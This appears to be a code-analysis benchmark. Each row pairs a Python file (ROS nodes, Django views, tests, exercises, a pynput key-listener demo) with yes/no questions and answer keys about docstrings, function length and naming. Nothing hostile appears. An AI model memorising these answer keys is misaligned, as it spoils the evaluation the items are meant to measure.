"question": "Is any function in this file longer than 40 lin... | 3 | Mundo 3/Ex112/Utilidadescev/moeda/__init__.py | legna7/Python |
#!/usr/bin/env python
import rospy
from nav_msgs.msg import Path, Odometry
from geometry_msgs.msg import Pose, PoseStamped
from visualization_msgs.msg import Marker
class TrajectoryDrawer():
def __init__(self):
rospy.init_node('trajectory_drawer')
frequency = rospy.get_param(
'/trajectory_drawer/frequency', 1.0)
odom_topic_name = rospy.get_param(
'/trajectory_drawer/odom_topic_name', '/odometry/filtered_map')
traj_topic_name = rospy.get_param(
'/trajectory_drawer/traj_topic_name', '/planned_trajectory')
self.odom_sub = rospy.Subscriber(odom_topic_name, Odometry, self.odom_callback)
self.traj_pub = rospy.Publisher(traj_topic_name, Path, queue_size=1)
self.timer = rospy.Timer(rospy.Duration(1.0/frequency), self.timer_callback)
self.cur_pose = Pose()
self.trajectory = Path()
self.trajectory.header.frame_id = 'map'
def spin(self):
rospy.spin()
def odom_callback(self, msg):
self.cur_pose = msg.pose.pose
def timer_callback(self, event):
ps = PoseStamped()
ps.pose = self.cur_pose
self.trajectory.poses.append(ps)
self.traj_pub.publish(self.trajectory)
if __name__ == '__main__':
try:
traj_drawer = TrajectoryDrawer()
traj_drawer.spin()
except rospy.ROSInterruptException:
rospy.logerr('something went wrong.')
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": tru... | 3 | scripts/show_trajectory.py | luruiwu/PurePursuitControllerROS |
"""For-Else, Any."""
from typing import Iterable
def tiene_pares_basico(numeros: Iterable[int]) -> bool:
"""Toma una lista y devuelve un booleano en función si tiene al menos un
número par."""
for numero in numeros:
if numero % 2 == 0:
return True
return False
# NO MODIFICAR - INICIO
assert tiene_pares_basico([1, 3, 5]) is False
assert tiene_pares_basico([1, 3, 5, 6]) is True
assert tiene_pares_basico([1, 3, 5, 600]) is True
# NO MODIFICAR - FIN
###############################################################################
def tiene_pares_for_else(numeros: Iterable[int]) -> bool:
"""Re-Escribir utilizando for-else con dos return y un break.
Referencia: https://docs.python.org/3/tutorial/controlflow.html#break-and-continue-statements-and-else-clauses-on-loops
"""
for numero in numeros:
if numero % 2 == 0:
break
else:
return False
return True
# NO MODIFICAR - INICIO
assert tiene_pares_for_else([1, 3, 5]) is False
assert tiene_pares_for_else([1, 3, 5, 6]) is True
assert tiene_pares_for_else([1, 3, 5, 600]) is True
# NO MODIFICAR - FIN
###############################################################################
def tiene_pares_any(numeros: Iterable[int]) -> bool:
"""Re-Escribir utilizando la función any, sin utilizar bucles.
Referencia: https://docs.python.org/3/library/functions.html#any
"""
return any(numero % 2 == 0 for numero in numeros)
# NO MODIFICAR - INICIO
assert tiene_pares_any([1, 3, 5]) is False
assert tiene_pares_any([1, 3, 5, 6]) is True
assert tiene_pares_any([1, 3, 5, 600]) is True
# NO MODIFICAR - FIN
| [
{
"point_num": 1,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a type annotation (excluding self/cls)?",
"answer": true
},
{
"point_num": 2,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or few... | 3 | practico_01/ejercicio_10.py | pablobots/frro-python-2021-00 |
# Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
from telemetry.page import page as page_module
from telemetry.page import page_set as page_set_module
class KeyHitTestCasesPage(page_module.Page):
def __init__(self, url, page_set):
super(KeyHitTestCasesPage, self).__init__(
url=url, page_set=page_set, credentials_path = 'data/credentials.json')
self.user_agent_type = 'mobile'
def RunNavigateSteps(self, action_runner):
action_runner.NavigateToPage(self)
action_runner.Wait(2)
def RunPageInteractions(self, action_runner):
action_runner.Wait(2)
for _ in xrange(100):
self.TapButton(action_runner)
class PaperCalculatorHitTest(KeyHitTestCasesPage):
def __init__(self, page_set):
super(PaperCalculatorHitTest, self).__init__(
# Generated from https://github.com/zqureshi/paper-calculator
# vulcanize --inline --strip paper-calculator/demo.html
url='file://key_hit_test_cases/paper-calculator-no-rendering.html',
page_set=page_set)
def TapButton(self, action_runner):
interaction = action_runner.BeginInteraction(
'Action_TapAction', is_smooth=True)
action_runner.TapElement(element_function='''
document.querySelector(
'body /deep/ #outerPanels'
).querySelector(
'#standard'
).shadowRoot.querySelector(
'paper-calculator-key[label="5"]'
)''')
interaction.End()
class KeyHitTestCasesPageSet(page_set_module.PageSet):
def __init__(self):
super(KeyHitTestCasesPageSet, self).__init__(
user_agent_type='mobile')
self.AddUserStory(PaperCalculatorHitTest(self))
| [
{
"point_num": 1,
"id": "every_class_has_docstring",
"question": "Does every class in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": true
},
{
... | 3 | tools/perf/page_sets/key_hit_test_cases.py | kjthegod/chromium |
def int_hex(v):
v = hex(v)
v = v[2:]
return v
def main(v):
v = v.upper()
print(v)
main(int_hex(int(input()))) | [
{
"point_num": 1,
"id": "all_return_types_annotated",
"question": "Does every function in this file have a return type annotation?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answe... | 3 | 1957.py | FahimFBA/URI-Problem-Solve |
# qubit number=4
# total number=10
import pyquil
from pyquil.api import local_forest_runtime, QVMConnection
from pyquil import Program, get_qc
from pyquil.gates import *
import numpy as np
conn = QVMConnection()
def make_circuit()-> Program:
prog = Program() # circuit begin
prog += H(1) # number=2
prog += H(2) # number=3
prog += H(3) # number=4
prog += Y(3) # number=5
prog += SWAP(1,0) # number=6
prog += Y(2) # number=8
prog += Y(2) # number=9
# circuit end
return prog
def summrise_results(bitstrings) -> dict:
d = {}
for l in bitstrings:
if d.get(l) is None:
d[l] = 1
else:
d[l] = d[l] + 1
return d
if __name__ == '__main__':
prog = make_circuit()
qvm = get_qc('4q-qvm')
results = qvm.run_and_measure(prog,1024)
bitstrings = np.vstack([results[i] for i in qvm.qubits()]).T
bitstrings = [''.join(map(str, l)) for l in bitstrings]
writefile = open("../data/startPyquil330.csv","w")
print(summrise_results(bitstrings),file=writefile)
writefile.close()
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "all_return_types_annotated",
"question": "Does every function in this file have a return type annotation?",
"answe... | 3 | data/p4VQE/R4/benchmark/startPyquil330.py | UCLA-SEAL/QDiff |
# Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file accompanying this file. This file is
# distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
# ANY KIND, either express or implied. See the License for the specific
# language governing permissions and limitations under the License.
"""Unit test for ``aws_encryption_sdk_decrypt_oracle.key_providers.counting``."""
import aws_encryption_sdk
import pytest
from aws_encryption_sdk_decrypt_oracle.key_providers.counting import CountingMasterKey
from ...integration.integration_test_utils import filtered_test_vectors
pytestmark = [pytest.mark.unit, pytest.mark.local]
@pytest.mark.parametrize("vector", filtered_test_vectors(lambda x: x.key_type == "test_counting"))
def test_counting_master_key_decrypt_vectors(vector):
master_key = CountingMasterKey()
plaintext, _header = aws_encryption_sdk.decrypt(source=vector.ciphertext, key_provider=master_key)
assert plaintext == vector.plaintext
def test_counting_master_key_cycle():
plaintext = b"some super secret plaintext"
master_key = CountingMasterKey()
ciphertext, _header = aws_encryption_sdk.encrypt(source=plaintext, key_provider=master_key)
decrypted, _header = aws_encryption_sdk.decrypt(source=ciphertext, key_provider=master_key)
assert plaintext != ciphertext
assert plaintext == decrypted
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": tru... | 3 | decrypt_oracle/test/unit/key_providers/test_u_counting.py | seebees/aws-encryption-sdk-python |
from trecs.models.recommender import SystemStateModule
from trecs.components import PredictedUserProfiles
import numpy as np
class TestComponents:
def test_system_state(self):
profiles = PredictedUserProfiles(np.zeros((5, 5)))
sys = SystemStateModule()
sys.add_state_variable(profiles)
# increment profile twice
for _ in range(2):
profiles.value += 1
for component in sys._system_state:
component.store_state()
assert len(profiles.state_history) == 3
np.testing.assert_array_equal(profiles.state_history[0], np.zeros((5, 5)))
np.testing.assert_array_equal(profiles.state_history[1], 1 * np.ones((5, 5)))
np.testing.assert_array_equal(profiles.state_history[2], 2 * np.ones((5, 5)))
def test_closed_logger(self):
profiles = PredictedUserProfiles(np.zeros((5, 5)))
logger = profiles._logger.logger # pylint: disable=protected-access
handler = profiles._logger.handler # pylint: disable=protected-access
assert len(logger.handlers) > 0 # before garbage collection
del profiles
# after garbage collection, handler should be closed
assert handler not in logger.handlers
| [
{
"point_num": 1,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
"answer": false
},
{
"point_num": 2,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answ... | 3 | trecs/tests/test_components.py | claramaine/t-recs |
import datetime
import freezegun
from zeep import cache
def test_sqlite_cache(tmpdir):
c = cache.SqliteCache(path=tmpdir.join("sqlite.cache.db").strpath)
c.add("http://tests.python-zeep.org/example.wsdl", b"content")
result = c.get("http://tests.python-zeep.org/example.wsdl")
assert result == b"content"
def test_sqlite_cache_timeout(tmpdir):
c = cache.SqliteCache(path=tmpdir.join("sqlite.cache.db").strpath)
c.add("http://tests.python-zeep.org/example.wsdl", b"content")
result = c.get("http://tests.python-zeep.org/example.wsdl")
assert result == b"content"
freeze_dt = datetime.datetime.utcnow() + datetime.timedelta(seconds=7200)
with freezegun.freeze_time(freeze_dt):
result = c.get("http://tests.python-zeep.org/example.wsdl")
assert result is None
def test_memory_cache_timeout(tmpdir):
c = cache.InMemoryCache()
c.add("http://tests.python-zeep.org/example.wsdl", b"content")
result = c.get("http://tests.python-zeep.org/example.wsdl")
assert result == b"content"
freeze_dt = datetime.datetime.utcnow() + datetime.timedelta(seconds=7200)
with freezegun.freeze_time(freeze_dt):
result = c.get("http://tests.python-zeep.org/example.wsdl")
assert result is None
def test_memory_cache_share_data(tmpdir):
a = cache.InMemoryCache()
b = cache.InMemoryCache()
a.add("http://tests.python-zeep.org/example.wsdl", b"content")
result = b.get("http://tests.python-zeep.org/example.wsdl")
assert result == b"content"
| [
{
"point_num": 1,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": true
},
{
"point_num": 2,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answ... | 3 | tests/test_cache.py | yvdlima/python-zeep |
###############################################################################
#
# Tests for XlsxWriter.
#
# Copyright (c), 2013-2015, John McNamara, jmcnamara@cpan.org
#
import unittest
from ...compatibility import StringIO
from ...styles import Styles
class TestWriteStyleXf(unittest.TestCase):
"""
Test the Styles _write_style_xf() method.
"""
def setUp(self):
self.fh = StringIO()
self.styles = Styles()
self.styles._set_filehandle(self.fh)
def test_write_style_xf(self):
"""Test the _write_style_xf() method"""
self.styles._write_style_xf()
exp = """<xf numFmtId="0" fontId="0" fillId="0" borderId="0"/>"""
got = self.fh.getvalue()
self.assertEqual(got, exp)
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
... | 3 | xlsxwriter/test/styles/test_write_style_xf.py | shareablee/XlsxWriter |
# launcher for various helpful functions found in the settings.xml area
import sys
import xbmc
import xbmcgui
import xbmcvfs
import resources.lib.utils as utils
from resources.lib.authorizers import DropboxAuthorizer
from resources.lib.advanced_editor import AdvancedBackupEditor
def authorize_cloud(cloudProvider):
# drobpox
if(cloudProvider == 'dropbox'):
authorizer = DropboxAuthorizer()
if(authorizer.authorize()):
xbmcgui.Dialog().ok(utils.getString(30010), utils.getString(30027) + ' ' + utils.getString(30106))
else:
xbmcgui.Dialog().ok(utils.getString(30010), utils.getString(30107) + ' ' + utils.getString(30027))
def remove_auth():
# triggered from settings.xml - asks if user wants to delete OAuth token information
shouldDelete = xbmcgui.Dialog().yesno(utils.getString(30093), utils.getString(30094), utils.getString(30095), autoclose=7000)
if(shouldDelete):
# delete any of the known token file types
xbmcvfs.delete(xbmc.translatePath(utils.data_dir() + "tokens.txt")) # dropbox
xbmcvfs.delete(xbmc.translatePath(utils.data_dir() + "google_drive.dat")) # google drive
def get_params():
param = {}
try:
for i in sys.argv:
args = i
if('=' in args):
if(args.startswith('?')):
args = args[1:] # legacy in case of url params
splitString = args.split('=')
param[splitString[0]] = splitString[1]
except:
pass
return param
params = get_params()
if(params['action'] == 'authorize_cloud'):
authorize_cloud(params['provider'])
elif(params['action'] == 'remove_auth'):
remove_auth()
elif(params['action'] == 'advanced_editor'):
editor = AdvancedBackupEditor()
editor.showMainScreen()
elif(params['action'] == 'advanced_copy_config'):
editor = AdvancedBackupEditor()
editor.copySimpleConfig()
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": tru... | 3 | launcher.py | oldium/xbmcbackup |
import sys
import os
import boto3
import datetime
import argparse
def cleanup_s3db(args):
s3 = boto3.resource('s3', aws_access_key_id=os.environ['AWS_ACCESS_KEY_ID'], aws_secret_access_key=os.environ['AWS_SECRET_ACCESS_KEY'], region_name=os.environ['AWS_S3_REGION_NAME'], endpoint_url=os.environ['AWS_S3_ENDPOINT_URL'], use_ssl=os.environ['AWS_S3_USE_SSL'])
bucket = s3.Bucket(args.bucket)
today = datetime.date.today()
last_month = today - datetime.timedelta(days=30)
prefix = last_month.strftime('%Y/%m')
backups = [o for o in bucket.objects.filter(Prefix=prefix)]
to_delete = backups[0:-1]
client = boto3.client('s3')
deleted = 0
for o in to_delete:
print('Delete object %s' % o)
deleted += 1
o.delete()
if deleted:
print('%d backups deleted' % (deleted))
return 0
def main():
parser = argparse.ArgumentParser(description='Delete old database backups')
parser.add_argument('-b', dest='bucket', action='store', help='bucket name')
parser.add_argument('--force', action='store_true', default=False, help='Force check even if not in production environment')
args = parser.parse_args()
env = os.environ['IMAGE_TAG']
if env != 'prod' and not args.force:
return 0
else:
return cleanup_s3db(args)
if __name__ == '__main__':
sys.exit(main())
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
"ans... | 3 | scripts/backup/s3cleanup.py | MTES-MCT/biocarburants |
"""
Exact same as gym env, except that the gear ratio is 30 rather than 150.
"""
import numpy as np
from gym.envs.mujoco import MujocoEnv
from rlkit.envs.env_utils import get_asset_full_path
class AntEnv(MujocoEnv):
def __init__(self, use_low_gear_ratio=True):
if use_low_gear_ratio:
xml_path = 'low_gear_ratio_ant.xml'
else:
xml_path = 'normal_gear_ratio_ant.xml'
super().__init__(
get_asset_full_path(xml_path),
frame_skip=5,
)
def step(self, a):
torso_xyz_before = self.get_body_com("torso")
self.do_simulation(a, self.frame_skip)
torso_xyz_after = self.get_body_com("torso")
torso_velocity = torso_xyz_after - torso_xyz_before
forward_reward = torso_velocity[0]/self.dt
ctrl_cost = .5 * np.square(a).sum()
contact_cost = 0.5 * 1e-3 * np.sum(
np.square(np.clip(self.sim.data.cfrc_ext, -1, 1)))
survive_reward = 1.0
reward = forward_reward - ctrl_cost - contact_cost + survive_reward
state = self.state_vector()
notdone = np.isfinite(state).all() \
and state[2] >= 0.2 and state[2] <= 1.0
done = not notdone
ob = self._get_obs()
return ob, reward, done, dict(
reward_forward=forward_reward,
reward_ctrl=-ctrl_cost,
reward_contact=-contact_cost,
reward_survive=survive_reward,
torso_velocity=torso_velocity,
)
def _get_obs(self):
return np.concatenate([
self.sim.data.qpos.flat[2:],
self.sim.data.qvel.flat,
])
def reset_model(self):
qpos = self.init_qpos + self.np_random.uniform(size=self.model.nq, low=-.1, high=.1)
qvel = self.init_qvel + self.np_random.randn(self.model.nv) * .1
self.set_state(qpos, qvel)
return self._get_obs()
def viewer_setup(self):
self.viewer.cam.distance = self.model.stat.extent * 0.5
| [
{
"point_num": 1,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
},
{
"point_num": 2,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": true
},... | 3 | rlkit/envs/mujoco/ant.py | Asap7772/railrl_evalsawyer |
def rotcir(ns):
lista = [ns]
for i in range(len(ns) - 1):
a = ns[0]
ns = ns[1:len(ns)+1]
ns += a
lista.append(ns)
return(lista)
def cyclic_number(ns):
rotaciones = rotcir(ns)
for n in range(1, len(ns)):
Ns = str(n*int(ns))
while len(Ns) != len(ns):
Ns = '0' + Ns
if Ns not in rotaciones:
return False
return True
import itertools
def per_n(n):
lista1 = list(itertools.product('0123456789',repeat=n))
lista2 = []
for i in lista1:
n = ''
for j in range(len(i)):
n += i[j]
lista2.append(n)
return(lista2)
i = 8
agregado = per_n(i)
for j in agregado:
ns = '00000000137' + j + '56789'
if cyclic_number(ns):
print(ns)
break | [
{
"point_num": 1,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or fewer parameters (excluding self/cls)?",
"answer": true
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than... | 3 | pj_358.py | luisalvaradoar/pj_euler |
from merc import errors
from merc import feature
from merc import message
from merc import util
class PassFeature(feature.Feature):
NAME = __name__
install = PassFeature.install
@PassFeature.register_server_command
class Pass(message.Command):
NAME = "PASS"
MIN_ARITY = 4
def __init__(self, password, ts, ts_version, sid, *args):
self.password = password
self.ts = ts
self.ts_version = ts_version
self.sid = sid
def handle_for(self, app, server, prefix):
if server.is_registered:
raise errors.LinkError("Server already registered")
if self.ts != "TS" or self.ts_version != "6" or not util.is_sid(self.sid):
raise errors.LinkError("Non-TS server")
server.password = self.password
server.sid = self.sid
def as_command_params(self):
return [self.password, self.ts, self.ts_version, self.sid]
@PassFeature.hook("server.register.check")
def check_server_registration(app, server):
if server.sid is None:
raise errors.LinkError("Non-TS server")
if server.sid in app.network.sids:
raise errors.LinkError("SID collision")
links = app.config.get("links", {})
try:
link = links[server.name]
except KeyError:
raise errors.LinkError("Bogus server name")
if not app.crypt_context.verify(server.password, link["receive_password"]):
raise errors.LinkError("Bad link password")
@PassFeature.hook("server.register")
def on_register(app, server):
if not server.was_proposed:
app.run_hooks("network.connect", server)
app.run_hooks("network.burst", server)
@PassFeature.hook("server.pass")
def send_pass(app, server, password, sid):
server.send(None, Pass(password, "TS", "6", sid))
@PassFeature.hook("server.version.modify")
def modify_version_link_protocol(app, reply):
reply.link_protocol = "TS6ow"
| [
{
"point_num": 1,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or fewer parameters (excluding self/cls)?",
"answer": true
},
{
"point_num": 2,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written... | 3 | merc/features/ts6/pass.py | merc-devel/merc |
class RequestHandler:
def __init__(self):
pass
def preview_request(
self,
region: str,
endpoint_name: str,
method_name: str,
url: str,
query_params: dict,
):
"""
called before a request is processed.
:param string region: the region of this request
:param string endpoint_name: the name of the endpoint being requested
:param string method_name: the name of the method being requested
:param url: the URL that is being requested.
:param query_params: dict: the parameters to the url that is being queried,
e.g. ?key1=val&key2=val2
"""
def after_request(
self, region: str, endpoint_name: str, method_name: str, url: str, response
):
"""
Called after a response is received and before it is returned to the user.
:param string region: the region of this request
:param string endpoint_name: the name of the endpoint that was requested
:param string method_name: the name of the method that was requested
:param url: The url that was requested
:param response: the response received. This is a response from the "requests"
library
"""
def preview_static_request(self, url: str, query_params: dict):
"""
Called before a request to DataDragon is processed
:param url: The url that was requested
"""
def after_static_request(self, url: str, response):
"""
Called after a response is received and before it is returned to the user.
:param url: The url that was requested
:param response: the response received. This is a response from the "requests"
library
"""
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answ... | 3 | src/riotwatcher/Handlers/RequestHandler.py | acgandhi/Riot-Watcher |
from pyadlml.dataset._representations.raw import create_raw
from pyadlml.dataset._representations.changepoint import create_changepoint
from pyadlml.dataset.activities import check_activities
class Data():
def __init__(self, activities, devices, activity_list, device_list):
#assert check_activities(activities)
#assert check_devices(devices)
self.df_activities = activities
self.df_devices = devices
# list of activities and devices
self.lst_activities = activity_list
self.lst_devices = device_list
def create_cp(self, t_res):
raise NotImplementedError
def create_raw(self, t_res=None, idle=False):
self.df_raw = create_raw(self.df_devices, self.df_activities, t_res)
def create_lastfired(self):
raise NotImplementedError | [
{
"point_num": 1,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": true
},
{
"point_num": 2,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or fewer parameters (excluding self/... | 3 | pyadlml/dataset/obj.py | tcsvn/pyadlml |
from django.shortcuts import get_object_or_404
from rest_framework import generics, status
from rest_framework.response import Response
from rest_framework.views import APIView
from dualtext_api.models import Project
from dualtext_api.serializers import ProjectSerializer
from dualtext_api.permissions import MembersReadAdminEdit, AuthenticatedReadAdminCreate
from dualtext_api.services import ProjectService
class ProjectListView(generics.ListCreateAPIView):
serializer_class = ProjectSerializer
permission_classes = [AuthenticatedReadAdminCreate]
def perform_create(self, serializer):
serializer.save(creator=self.request.user)
def get_queryset(self):
user = self.request.user
queryset = Project.objects.all().prefetch_related('corpora', 'allowed_groups')
if not user.is_superuser:
user_groups = user.groups.all()
queryset = queryset.filter(allowed_groups__in=user_groups)
return queryset
class ProjectDetailView(generics.RetrieveUpdateDestroyAPIView):
queryset = Project.objects.all()
serializer_class = ProjectSerializer
permission_classes = [MembersReadAdminEdit]
lookup_url_kwarg = 'project_id'
class ProjectStatisticsView(APIView):
def get(self, request, project_id):
project = get_object_or_404(Project, id=project_id)
permission = MembersReadAdminEdit()
if permission.has_object_permission(request, self, project):
ps = ProjectService(project_id)
statistics = ps.get_project_statistics()
return Response(statistics)
return Response('not permitted', status=status.HTTP_403_FORBIDDEN)
| [
{
"point_num": 1,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a type annotation (excluding self/cls)?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docst... | 3 | dualtext_server/dualtext_api/views/project_views.py | mathislucka/dualtext |
"""Utilities
Some functions were taken from
https://github.com/SimpleJWT/django-rest-framework-simplejwt/blob/master/rest_framework_simplejwt/utils.py
"""
from calendar import timegm
from datetime import datetime
from django.conf import settings
from django.utils.timezone import is_naive, make_aware, utc
from django.core.cache import caches, BaseCache
def make_utc(dt):
if settings.USE_TZ and is_naive(dt):
return make_aware(dt, timezone=utc)
return dt
def aware_utcnow():
return make_utc(datetime.utcnow())
def datetime_to_epoch(dt):
return timegm(dt.utctimetuple())
def datetime_from_epoch(ts):
return make_utc(datetime.utcfromtimestamp(ts))
def get_default_cache() -> BaseCache:
return caches["default"]
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or fewer parameters (excluding sel... | 3 | rest_framework_jwk/utils.py | Maronato/django-rest-framework-jwk |
from pynput import keyboard
import time
def on_press(key):
try:
print('alphanumeric key {0} pressed'.format(
key.char))
except AttributeError:
print('special key {0} pressed'.format(
key))
def on_release(key):
print('{0} released'.format(
key))
if key == keyboard.Key.esc:
# Stop listener
return False
# Collect events until released
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
for i in range(20):
listenerString = str(listener)
if 'stop' in listenerString:
break
time.sleep(2)
print(i)
listener.join()
| [
{
"point_num": 1,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
... | 3 | src/temptest.py | ASH1998/SuZu |
from block_viewer.utils import decode_uint64
from block_viewer.utils import decode_varint
from block_viewer.script import Script
from binascii import b2a_hex
class Output(object):
def __init__(self,
value=None,
txout_script_length=None,
script_pubkey=None):
self.value = value
self.txout_script_length = txout_script_length
self.script_pubkey = script_pubkey
def parse_from_binary(self, output_data):
offset = 8
self.value = decode_uint64(output_data[:offset])
self.txout_script_length, varint_size = decode_varint(output_data[8:])
offset += varint_size
script = Script().parse_from_binary(output_data[offset:offset+self.txout_script_length])
operations = list(script)
parts = []
for operation in operations:
if isinstance(operation, bytes):
parts.append(b2a_hex(operation).decode("ascii"))
else:
parts.append(str(operation))
self.script_pubkey = " ".join(parts)
offset += self.txout_script_length
self.size = offset
return self
def __repr__(self):
return '<value: {value}, \n' \
'txout_script_length: {txout_script_length}, \n' \
'script_pubkey: {script_pubkey}>'.format(value=self.value,
txout_script_length=self.txout_script_length,
script_pubkey=self.script_pubkey)
| [
{
"point_num": 1,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": true
},
{
"point_num": 2,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or fewer parameters (excluding self/... | 3 | src/block_viewer/outputs.py | richarddennis/block_viewer |
# coding: utf-8
import types
class Person(object):
# 用 __slots__ 限制了动态添加属性,只能调用定义的属性
# __slots__ = {'name', 'age'}
def __init__(self, name, age):
self.name = name
self.age = age
def eat(self):
print('---eating---')
def run(self):
print('---running---')
@staticmethod
def test():
print('---static method---')
@classmethod
def test2(cls):
print('---class method---')
p1 = Person("David", 18)
p1.addr = 'beijing' # 动态添加属性
print(p1.addr)
p1.eat()
p1.run = types.MethodType(run, p1) # 动态添加实例方法
p1.run()
Person.test = test # 动态添加静态方法
Person.test()
Person.test2 = test2 # 动态添加类方法
Person.test2() | [
{
"point_num": 1,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
},
{
"point_num": 2,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": true
},... | 3 | kYPython/FluentPython/BasicLearn/OOP/Dynamic.py | kyaing/KDYSample |
class Programa:
def __init__(self, nome, ano):
self._nome = nome.title()
self.ano = ano
self._likes = 0
@property
def likes(self):
return self._likes
def dar_like(self):
self._likes += 1
@property
def nome(self):
return self._nome
@nome.setter
def nome(self, novo_nome):
self._nome = novo_nome.title()
def __str__(self):
return f'{self.nome} - {self.ano} - {self.likes}'
class Filme(Programa):
def __init__(self, nome, ano, duracao):
super().__init__(nome, ano)
self.duracao = duracao
def __str__(self):
return f'{self.nome} - {self.ano} - {self.duracao} min - {self.likes}'
class Serie(Programa):
def __init__(self, nome, ano, temporadas):
super(Serie, self).__init__(nome, ano)
self.temporadas = temporadas
def __str__(self):
return f'{self.nome} - {self.ano} - {self.temporadas} temporadas - {self.likes}'
vingadores = Filme('Vigadores - Guerra Infinita', 2018, 160)
atlanta = Serie('Atlatan', 2018, 2)
filmes_e_series = [vingadores, atlanta]
"""
for dados in filmes_e_series:
detalhes = dados.duracao if hasattr(dados, 'duracao') else dados.temporadas
print(f'{dados.nome} - {detalhes} - {dados.likes}')
"""
for dados in filmes_e_series:
print(dados) | [
{
"point_num": 1,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
},
{
"point_num": 2,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or fewer parameters (excluding self... | 3 | Cursos/Alura/Python3_Avancando_na_orientacao_a_objetos/models_polimorfismo3.py | ramonvaleriano/python- |
import os
import secrets
from PIL import Image
from flask_blog import mail
from flask_mail import Message
from flask import current_app, url_for
def save_picture(form_picture):
random_hex = secrets.token_hex(8)
_, f_ext = os.path.splitext(form_picture.filename)
picture_fn = random_hex + f_ext
picture_path = os.path.join(
current_app.root_path, 'static/profile_pics', picture_fn)
output_size = (125, 125)
i = Image.open(form_picture)
i.thumbnail(output_size)
i.save(picture_path)
return picture_fn
def send_reset_email(user):
token = user.get_reset_token()
msg = Message('Password Reset Request',
sender='noreply@demo.com',
recipients=[user.email])
token = user.get_reset_token()
msg = Message('Password Reset Request', recipients=[user.email])
# _external – if set to True, an absolute URL is generated
msg.body = f'''To reset your password, visit the following link:
{url_for('users.reset_token', token=token, _external=True)}
If you did not make this request then simply ignore this email and no changes will be made.
'''
mail.send(msg)
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": tru... | 3 | flask_blog/users/utils.py | dungnv2602/flask_blog_showcase |
class Value:
def __init__(self, _foo_bar):
self._foo_bar = _foo_bar
@property
def foo_bar(self):
return self._foo_bar
@staticmethod
def decode(data):
f_foo_bar = data["FooBar"]
if not isinstance(f_foo_bar, unicode):
raise Exception("not a string")
return Value(f_foo_bar)
def encode(self):
data = dict()
if self._foo_bar is None:
raise Exception("FooBar: is a required field")
data["FooBar"] = self._foo_bar
return data
def __repr__(self):
return "<Value foo_bar:{!r}>".format(self._foo_bar)
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
